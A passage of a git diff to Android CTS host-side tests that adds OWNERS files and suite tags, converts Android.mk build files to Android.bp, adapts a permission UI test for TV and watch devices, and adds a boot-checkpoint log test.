+# Bug component: 86431
+victorhsieh@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
index 9bcf428..705f7c9 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
@@ -35,6 +35,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
index 5286c5f..30029bb 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
@@ -36,6 +36,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index b2f9f3f..7861088 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -416,17 +416,23 @@
}
}
- permissionView.click();
- waitForIdle();
+ if (!isTv()) {
+ permissionView.click();
+ waitForIdle();
+ }
String denyLabel = mContext.getResources().getString(R.string.Deny);
- final boolean wasGranted = !getUiDevice().wait(Until.findObject(By.text(denyLabel)),
- GLOBAL_TIMEOUT_MILLIS).isChecked();
- if (granted != wasGranted) {
+ final boolean wasGranted = isTv() ? false : !getUiDevice().wait(
+ Until.findObject(By.text(denyLabel)), GLOBAL_TIMEOUT_MILLIS).isChecked();
+ // TV does not use checked state to represent granted state.
+ if (granted != wasGranted || isTv()) {
// Toggle the permission
- if (granted) {
+ if (isTv()) {
+ // no Allow/Deny labels on TV
+ permissionView.click();
+ } else if (granted) {
String allowLabel = mContext.getResources().getString(R.string.Allow);
getUiDevice().findObject(By.text(allowLabel)).click();
} else {
@@ -455,8 +461,10 @@
}
}
- getUiDevice().pressBack();
- waitForIdle();
+ if (!isTv()) {
+ getUiDevice().pressBack();
+ waitForIdle();
+ }
}
getUiDevice().pressBack();
@@ -500,7 +508,15 @@
}
private static AccessibilityNodeInfo findByText(AccessibilityNodeInfo root, String text) {
+ if (root == null) {
+ return null;
+ }
List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(text);
+ PackageManager packageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+ boolean isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ if (isWatch) {
+ return findByTextForWatch(root, text);
+ }
for (AccessibilityNodeInfo node : nodes) {
if (node.getText().toString().equals(text)) {
return node;
@@ -509,6 +525,21 @@
return null;
}
+ private static AccessibilityNodeInfo findByTextForWatch(AccessibilityNodeInfo root, String text) {
+ String trimmedText = trimText(text);
+ List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(trimmedText);
+ for (AccessibilityNodeInfo node : nodes) {
+ if (trimText(node.getText().toString()).equals(trimmedText)) {
+ return node;
+ }
+ }
+ return null;
+ }
+
+ private static String trimText(String text) {
+ return text != null ? text.substring(0, Math.min(text.length(), 20)) : null;
+ }
+
private static AccessibilityNodeInfo findByTextInCollection(AccessibilityNodeInfo root,
String text) throws Exception {
AccessibilityNodeInfo result;
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
index 6b3cce5..b356368b 100644
--- a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
@@ -24,6 +24,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey1",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/rro/OWNERS b/hostsidetests/appsecurity/test-apps/rro/OWNERS
new file mode 100644
index 0000000..21cd9d9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/rro/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 568761
+rtmitchell@google.com
diff --git a/hostsidetests/atrace/AndroidTest.xml b/hostsidetests/atrace/AndroidTest.xml
index d616f90..b75a3b0 100644
--- a/hostsidetests/atrace/AndroidTest.xml
+++ b/hostsidetests/atrace/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsAtraceHostTestCases.jar" />
<option name="runtime-hint" value="9m" />
diff --git a/hostsidetests/angle/Android.mk b/hostsidetests/checkpoint/Android.mk
similarity index 73%
rename from hostsidetests/angle/Android.mk
rename to hostsidetests/checkpoint/Android.mk
index a564b77..7f044b0 100644
--- a/hostsidetests/angle/Android.mk
+++ b/hostsidetests/checkpoint/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -11,23 +11,25 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
+
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
+# Only compile source java files in this apk.
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIRS := assets/
+LOCAL_MODULE := CtsCheckpointTestCases
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_MODULE_TAGS := tests
+LOCAL_CTS_TEST_PACKAGE := android.checkpoint
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests gts
-LOCAL_MODULE := CtsAngleIntegrationHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_MIN_SDK_VERSION := 4
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/checkpoint/AndroidTest.xml b/hostsidetests/checkpoint/AndroidTest.xml
new file mode 100644
index 0000000..1b8aba3
--- /dev/null
+++ b/hostsidetests/checkpoint/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for the CTS Checkpoint host tests">
+ <option name="test-suite-tag" value="cts" />
+ <option name="test-suite-tag" value="gts" />
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsCheckpointTestCases.jar" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/hostsidetests/checkpoint/OWNERS b/hostsidetests/checkpoint/OWNERS
new file mode 100644
index 0000000..6b12108
--- /dev/null
+++ b/hostsidetests/checkpoint/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 30545
+paullawrence@google.com
+drosen@google.com
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
new file mode 100644
index 0000000..ea876d9a
--- /dev/null
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.checkpoint.cts;
+
+import com.android.compatibility.common.util.CtsDownstreamingTest;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import junit.framework.Assert;
+
+
+/**
+ * Test to validate that the checkpoint failures in b/138952436 are properly patched
+ */
+public class CheckpointHostTest extends DeviceTestCase {
+ private static final String TAG = "CheckpointHostTest";
+
+ @CtsDownstreamingTest
+ public void testLogEntries() throws Exception {
+ // Clear buffer to make it easier to find new logs
+ getDevice().executeShellCommand("logcat --clear");
+
+ // reboot device
+ getDevice().rebootUntilOnline();
+ waitForBootCompleted();
+
+ // wait for logs to post
+ Thread.sleep(10000);
+
+ final String amLog = getDevice().executeShellCommand("logcat -d -s ActivityManager");
+ int counterNameIndex = amLog.indexOf("ActivityManager: About to commit checkpoint");
+ Assert.assertTrue("did not find commit checkpoint in boot logs", counterNameIndex != -1);
+
+ final String checkpointLog = getDevice().executeShellCommand("logcat -d -s Checkpoint");
+ counterNameIndex = checkpointLog.indexOf(
+ "Checkpoint: cp_prepareCheckpoint called");
+ Assert.assertTrue("did not find prepare checkpoint in boot logs", counterNameIndex != -1);
+ }
+
+ private boolean isBootCompleted() throws Exception {
+ return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+ }
+
+ private void waitForBootCompleted() throws Exception {
+ for (int i = 0; i < 45; i++) {
+ if (isBootCompleted()) {
+ return;
+ }
+ Thread.sleep(1000);
+ }
+ throw new AssertionError("System failed to become ready!");
+ }
+}
diff --git a/hostsidetests/classloaders/useslibrary/AndroidTest.xml b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
index 815f138..6505888 100644
--- a/hostsidetests/classloaders/useslibrary/AndroidTest.xml
+++ b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsUsesLibraryHostTestCases.jar" />
<option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/compilation/AndroidTest.xml b/hostsidetests/compilation/AndroidTest.xml
index d2c6f87..78f160d 100644
--- a/hostsidetests/compilation/AndroidTest.xml
+++ b/hostsidetests/compilation/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="art" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsCompilationTestCases.jar" />
<option name="runtime-hint" value="9m45s" />
diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp
new file mode 100644
index 0000000..4478035
--- /dev/null
+++ b/hostsidetests/content/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsSyncContentHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ":CtsHostsideTestsAppSecurityUtil",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
deleted file mode 100644
index e60f102..0000000
--- a/hostsidetests/content/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- ../appsecurity/src/android/appsecurity/cts/Utils.java
-
-LOCAL_MODULE := CtsSyncContentHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.content
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH)/test-apps)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
new file mode 100644
index 0000000..5a91da1
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsSyncInvalidAccountAuthorityTestCases",
+ defaults: ["cts_support_defaults"],
+ static_libs: [
+ "android-support-annotations",
+ "androidx.test.rules",
+ "ctstestrunner-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
deleted file mode 100644
index fd3e5d4..0000000
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-annotations androidx.test.rules ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
deleted file mode 100644
index 10ba650..0000000
--- a/hostsidetests/cpptools/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/AndroidTest.xml b/hostsidetests/cpptools/AndroidTest.xml
index 292c8de..66d564e 100644
--- a/hostsidetests/cpptools/AndroidTest.xml
+++ b/hostsidetests/cpptools/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- b/123333261 : run-as not working for instant apps -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCppToolsApp.apk" />
diff --git a/hostsidetests/cpptools/test-apps/Android.mk b/hostsidetests/cpptools/test-apps/Android.mk
deleted file mode 100644
index 2733252..0000000
--- a/hostsidetests/cpptools/test-apps/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
new file mode 100644
index 0000000..832725c
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
@@ -0,0 +1,37 @@
+// Copyright 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "connector",
+ srcs: ["connector.cpp"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
deleted file mode 100644
index 4191a78..0000000
--- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := connector
-LOCAL_SRC_FILES := connector.cpp
-LOCAL_CFLAGS += -Wall -Werror
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/deviceidle/AndroidTest.xml b/hostsidetests/deviceidle/AndroidTest.xml
index 16f631a..c7c2f51 100644
--- a/hostsidetests/deviceidle/AndroidTest.xml
+++ b/hostsidetests/deviceidle/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- These are tests for the shell command to manage device idle whitelist. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsDeviceIdleHostTestCases.jar" />
<option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
new file mode 100644
index 0000000..4eef832
--- /dev/null
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsDevicePolicyManagerTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "tools-common-prebuilt",
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "guava",
+ "truth-prebuilt",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "general-tests",
+ "vts",
+ ],
+ java_resource_dirs: ["res"],
+ data: [":current-api-xml"],
+}
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
deleted file mode 100644
index e9da9ec..0000000
--- a/hostsidetests/devicepolicy/Android.mk
+++ /dev/null
@@ -1,63 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# $(1) name of the xml file to be created
-# $(2) path to the api text file
-define build_xml_api_file
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_MODULE_STEM := $(1)
-LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
- @echo "Convert API file $$< -> $$@"
- @mkdir -p $$(dir $$@)
- $(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
-endef
-
-$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsDevicePolicyManagerTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-LOCAL_JAVA_LIBRARIES := \
- tools-common-prebuilt \
- cts-tradefed \
- tradefed \
- compatibility-host-util \
- guava \
- truth-prebuilt
-
-LOCAL_CTS_TEST_PACKAGE := android.adminhostside
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests
-
-# Need the dependency to build/run the module solely by atest.
-LOCAL_TARGET_REQUIRED_MODULES := cts-current-api
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/Android.mk b/hostsidetests/devicepolicy/app/Android.mk
deleted file mode 100644
index d44e88e..0000000
